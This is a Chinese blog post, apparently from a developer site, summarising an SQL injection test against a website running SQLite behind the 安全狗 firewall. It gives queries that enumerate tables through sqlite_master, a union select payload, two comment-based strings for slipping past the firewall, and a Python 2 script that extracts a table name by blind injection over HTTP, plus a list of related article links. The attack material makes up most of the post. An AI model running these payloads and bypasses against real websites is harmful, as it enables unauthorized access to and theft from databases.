Sqlite注入测试

简介: 测试了一个网站是Sqlite数据库,还装有安全狗,绕过了防护,找到Payload,写了一个Python脚本来跑表,这里总结一下:   取得sqlite数据库里所有的表名 查询table,type 段是'table',name段是table的名字, so: select name from s...

测试了一个网站是Sqlite数据库,还装有安全狗,绕过了防护,找到Payload,写了一个Python脚本来跑表,这里总结一下:

 

取得sqlite数据库里所有的表名

查询table,type 段是'table',name段是table的名字,

so: select name from sqlite_master where type='table' order by name;

查询一条记录:select name from sqlite_master where type='table' order by name limit 0,1 

 

sqlite_version(*) 返回SQLite的版本

与MySQL5.x类似的,Sqlite存在与information_schema类似的⼀一个表,默认并不显示,名为sqlite_master,表中的字段有type,name,tbl_name,rootpage,sql,⽐较有价值的是sql字段

union select 1,sql,2,3 from sqlite_master

 

绕过安全狗简单的两个方法:

/*'+'*/   

/**a*/

 

#! /usr/bin/env python
# _*_  coding:utf-8 _*_
import urllib
import urllib2

payloads = '0123456789@_.abcdefghijklmnopqrstuvwxyz'

header = { 'User-Agent' : 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)'  } 
values={}
print 'Start to retrive user:'
user= ''

for i in range(1, 15):
    for payload in payloads
        values['fromCity']="xxx'/**a*/and/**a*/"+"substr((select name from sqlite_master where type='table' order by name limit 0,1),%s,1)='%s'--" %(i,str(payload))
        
        data = urllib.urlencode(values)
        url = "http://www.xxxx.com/xxxx.aspx"
        geturl = url+'?'+data
        request = urllib2.Request(geturl,headers=header)
        response = urllib2.urlopen(request,timeout=5)

        result=response.read()
        print '.',
        if result.count('HO1110')>0:
            user += payload
            print '\n\n[in progress]', user,
            break
            
print '\n\n[Done]  user is %s' % user

 

 

 

参考文章:

PHP/Sqlite下常见漏洞浅析:http://www.2cto.com/Article/201410/342032.html

目录
打赏
0
0
0
0
24
分享
相关文章
Python 的安全性和测试:什么是 SQL 注入攻击?如何防范 SQL 注入?
Python 的安全性和测试:什么是 SQL 注入攻击?如何防范 SQL 注入?
129 1
接上篇文章,在测试宝塔 WAF 的未授权访问漏洞时无意间还发现了一个 SQL 注入漏洞
接上篇文章,在测试宝塔 WAF 的未授权访问漏洞时无意间还发现了一个 SQL 注入漏洞,品相还不错,可执行任意 SQL 语句。 总之,吃了一惊,一个防 SQL 注入的工具居然也有 SQL 注入漏洞。 请看这段代码
618 18
Go语言中的错误注入与防御编程。错误注入通过模拟网络故障、数据库错误等,测试系统稳定性
本文探讨了Go语言中的错误注入与防御编程。错误注入通过模拟网络故障、数据库错误等,测试系统稳定性;防御编程则强调在编码时考虑各种错误情况,确保程序健壮性。文章详细介绍了这两种技术在Go语言中的实现方法及其重要性,旨在提升软件质量和可靠性。
62 1
Java|让 JUnit4 测试类自动注入 logger 和被测 Service
本文介绍如何通过自定义 IDEA 的 JUnit4 Test Class 模板,实现生成测试类时自动注入 logger 和被测 Service。
68 5
Kali渗透测试:远程控制被控端免杀及DLL生成、注入反弹(一)
Kali渗透测试:远程控制被控端免杀及DLL生成、注入反弹(一)
95 0
Kali渗透测试:远程控制被控端免杀及DLL生成、注入反弹(二)
Kali渗透测试:远程控制被控端免杀及DLL生成、注入反弹(二)
125 0
详解单元测试问题之Mockito的注入过程如何解决
详解单元测试问题之Mockito的注入过程如何解决
152 1
详解单元测试问题之@InjectMocks注入mock对象如何解决
详解单元测试问题之@InjectMocks注入mock对象如何解决
513 1
可靠性测试-故障注入工具
【7月更文挑战第19天】可靠性测试中的故障注入工具对评估系统容错性与稳定性至关重要。常见工具如 **FaultInjector** (模拟多类故障)、**Xception** (针对特定组件注入错误) 和 **Chaos Monkey** (验证云环境下系统弹性) 帮助开发者提前发现潜在问题, 优化系统设计, 如电商公司通过测试确保促销期稳定, 金融机构降低交易风险。选择合适工具并结合业务场景测试对提升可靠性至关重要。
220 0

热门文章

最新文章

AI助理

你好,我是AI助理

可以解答问题、推荐解决方案等